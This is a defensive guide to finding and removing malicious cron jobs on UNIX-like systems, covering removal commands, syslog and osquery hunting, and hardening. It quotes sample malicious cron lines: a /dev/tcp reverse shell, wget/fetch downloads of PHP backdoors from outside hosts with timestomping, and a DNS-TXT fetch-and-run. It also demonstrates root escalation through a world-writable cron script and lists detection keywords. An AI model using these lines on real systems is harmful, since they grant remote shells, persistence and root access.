Cron is a task scheduling service present on most UNIX-like operating systems. It can be likened to scheduled tasks on Windows.
There are several implementations of cron. Some implementations may support enhanced configuration options to simplify the syntax of jobs or shortcuts such as @reboot
. Configuration file locations may be different depending on the configuration and cron implementation installed on a host.
A cron job is a singular task configured within cron. Cron jobs are typically able to be installed by any user, which makes them a popular choice for malware persistence. Cron jobs may also be configured at a system level.
A cron tab (cron table) is a list of tasks configured within cron. A host will often have several cron tabs configured.
https://crontab.guru/ is a helpful site which explains a cron job. This may be useful if you are not familiar with cron’s syntax. A brief tutorial to crontab syntax can be found at https://wiki.cdot.senecacollege.ca/wiki/Crontab_tutorial
Most systems will have processes and services named crond
or cron
if cron is installed.
Examples of Malicious Cron Jobs
Below are examples of what malicious jobs may look like.
https://sushant747.gitbooks.io/total-oscp-guide/content/persistence.html
*/10 * * * * 0<&196;exec 196<>/dev/tcp/192.168.1.102/5556; sh <&196 >&196 2>&196
https://blog.sucuri.net/2014/01/the-hidden-backdoors-to-the-city-of-cron.html
*/3 * * * * chmod 0755 /home3/infectedsite/public_html/libraries/joomla/utilities/compat/compat.php; wget http:// www.xxx .com/wdc.txt -O /home3/infectedsite/public_html/libraries/joomla/utilities/compat/compat.php >/dev/null;
* */6 * * * wget http:// www.xxx .com/PDF/rbkvgqdyle.txt -O /home3/infectedsite/public_html/libraries/simplepie/idn/7cuyng9o1a.php >/dev/null; fetch -o /home3/infectedsite/public_html/libraries/simplepie/idn/7cuyng9o1a.php http:// www.hestonsflorist .com/PDF/rbkvgqdyle.txt >/dev/null 2>&1; touch -t 201104202045 /home3/infectedsite/public_html/libraries/simplepie/idn/index.html >/dev/null; chmod 0755 /home3/infectedsite/public_html/libraries/simplepie/idn/.htaccess >/dev/null; rm /home3/infectedsite/public_html/libraries/simplepie/idn/.htaccess >/dev/null; touch -t 201104202045 /home3/infectedsite/public_html/libraries/simplepie/idn/.; touch -t 201104202045 /home3/infectedsite/public_html/libraries/simplepie/idn/7cuyng9o1a.php >/dev/null
https://blog.sucuri.net/2019/05/cronjob-backdoors.html
0 1 * * * /bin/sh -c "sh -c $(dig logging.chat TXT +short @pola.ns.cloudflare.com)"
Removing Malicious Cron Jobs
This section outlines methods to remove malicious cron jobs. There are more ways to do this, but these should suffice most of the time.
Be mindful that directories of user cron tabs, and locations for system-wide cron tabs may vary depending on the operating system and cron implementation installed on a host.
Using crontab
If you are able to ssh into a host, logon via the console, or open a terminal, crontab
is likely the easiest method.
To edit a user’s crontab:
crontab -e -u username_here
This command should spawn an editor such as vi
or nano
. Remove or comment out any lines which contain malicious entries.
Using sed
In some scenarios, sed
may be a more attractive option than an interactive editor. One such example is EDR software. EDR software often does not provide an interactive shell, so using an interactive editor with crontab
may not be an option. Another example is writing automated scripts to search for and remove malicious cron jobs.
To remove an entry with sed
, first determine which line number you want to remove. cat -n
will display the contents of a cron tab with line numbers.
In this example, we wish to remove line 27.
cat -n /var/spool/cron/crontabs/daniel
1 # DO NOT EDIT THIS FILE - edit the master and reinstall.
2 # (/tmp/crontab.7qexl5/crontab installed on Wed May 26 17:14:12 2021)
3 # (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
4 # Edit this file to introduce tasks to be run by cron.
5 #
6 # Each task to run has to be defined through a single line
7 # indicating with different fields when the task will be run
8 # and what command to run for the task
9 #
10 # To define the time you can provide concrete values for
11 # minute (m), hour (h), day of month (dom), month (mon),
12 # and day of week (dow) or use '*' in these fields (for 'any').
13 #
14 # Notice that tasks will be started based on the cron's system
15 # daemon's notion of time and timezones.
16 #
17 # Output of the crontab jobs (including errors) is sent through
18 # email to the user the crontab file belongs to (unless redirected).
19 #
20 # For example, you can run a backup of all your user accounts
21 # at 5 a.m every week with:
22 # 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
23 #
24 # For more information see the manual pages of crontab(5) and cron(8)
25 #
26 # m h dom mon dow command
27 * * * * * malware commands here
Next, remove the line with sed
.
sed -i '27d' /var/spool/cron/crontabs/daniel
WARNING: This does not work on mac. must do something like sed -i '' '27d' daniel
Using grep
If there is an easy pattern to match within a crontab, grep
may be a good option.
grep -v CHANGEME /var/spool/cron/crontabs/daniel > /var/spool/cron/crontabs/daniel
crontab -lu daniel |grep -v CHANGEME | crontab -u daniel -
Example:
root@wildcat:~# crontab -lu daniel
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').
#
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
#
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
#
# For example, you can run a backup of all your user accounts
# at 5 a.m every week with:
# 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
#
# For more information see the manual pages of crontab(5) and cron(8)
#
# m h dom mon dow command
* * * * * malware commands here
root@wildcat:~# crontab -lu daniel |grep -v malware |crontab -u daniel -
root@wildcat:~# crontab -lu daniel
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').
#
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
#
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
#
# For example, you can run a backup of all your user accounts
# at 5 a.m every week with:
# 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
#
# For more information see the manual pages of crontab(5) and cron(8)
#
# m h dom mon dow command
Remove an Entire Tab
If every entry in a cron tab is malicious, removing or moving the tab in question should prevent it from running.
crontab -r -u daniel
rm /var/spool/cron/crontabs/daniel
mv /var/spool/cron/crontabs/daniel /media/daniel/evidence
Hunting For Malicious Cron Jobs
Syslog
cron has a few noteworthy log syslog (ubuntu 20.04)
May 26 17:30:01 wildcat CRON[123639]: (root) CMD ([ -x /etc/init.d/anacron ] && if [ ! -d /run/systemd/system ]; then /usr/sbin/invoke-rc.d anacron start >/dev/null; fi)
May 26 17:34:52 wildcat systemd[1]: Started Run anacron jobs.
May 26 17:34:52 wildcat anacron[124061]: Anacron 2.3 started on 2021-05-26
May 26 17:34:52 wildcat anacron[124061]: Normal exit (0 jobs run)
May 26 17:34:52 wildcat systemd[1]: anacron.service: Succeeded.
May 26 17:42:05 wildcat crontab[124618]: (root) BEGIN EDIT (daniel)
May 26 17:42:24 wildcat crontab[124618]: (root) REPLACE (daniel)
May 26 17:42:24 wildcat crontab[124618]: (root) END EDIT (daniel)
May 26 17:43:01 wildcat cron[1243]: (daniel) RELOAD (crontabs/daniel)
May 26 17:43:17 wildcat crontab[124757]: (root) BEGIN EDIT (daniel)
May 26 17:43:19 wildcat crontab[124757]: (root) END EDIT (daniel)
May 26 17:44:35 wildcat crontab[124893]: (root) LIST (daniel)
RELOAD is when a tab has changed/been edited. Everything else seems to be self-explanatory.
These logs may be different depending on the version and implementation of cron running on the target host.
osquery
View all cron tabs:
SELECT * FROM crontab;
Malicious Entries
- IP addresses
- wget
- sh
- curl
- base64
- not provided by package
- provided by package, but modified
Jobs With Bad Permissions
If the target of a job has overly permissive file system permissions, a user may be able to maliciously overwrite this for persistence/privilege escalation.
The following example outlines a plausible scenario. A sysadmin has added a job which runs /etc/badpermissions.sh
every minute. The administrator of this system for reasons unknown has set the permissions to 777.
daniel@wildcat ~ % cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
* * * * * root /etc/badpermissions.sh
daniel@wildcat ~ % ls -l /etc/badpermissions.sh
-rwxrwxrwx 1 root root 34 May 28 21:22 /etc/badpermissions.sh*
daniel
is able to write to this file. Any additional code added to this script will be executed as root.
As daniel
, a line was added to redirect the output of id
to /tmp/gggggggggg
.
daniel@wildcat ~ % cat /etc/badpermissions.sh
#!/bin/sh
### ORIGINAL SCRIPT'S CONTENT REMOVED FOR BREVITY ###
# daniel added this line
id >/tmp/gggggggggg
After a minute, privilege escalation has been achieved:
daniel@wildcat ~ % sleep 60; cat /tmp/gggggggggg
uid=0(root) gid=0(root) groups=0(root)
Unexpected User Tabs
In most cases, service/systems accounts don’t have cron tabs associated with their user. If they do, these should be validated and checked periodically for modifications.
Jobs in .d Directory
.d
directories are often used by services to store additional configurations. Each file within cron’s .d
directory (usually at /etc/cron.d/) is its own tab.
.d
directories are handy for configuration management because you can simply add or remove files in these directories to enable or disable software. This is easier to implement and more intuitive than parsing configuration files with sed
or similar tools.
- If files within these are not included with a package, it is suspicious
- validate w/ package manager
Hardening Cron
- disabling a user; touch tab; chmod 0 tab; touch tab
- disabling cron altogether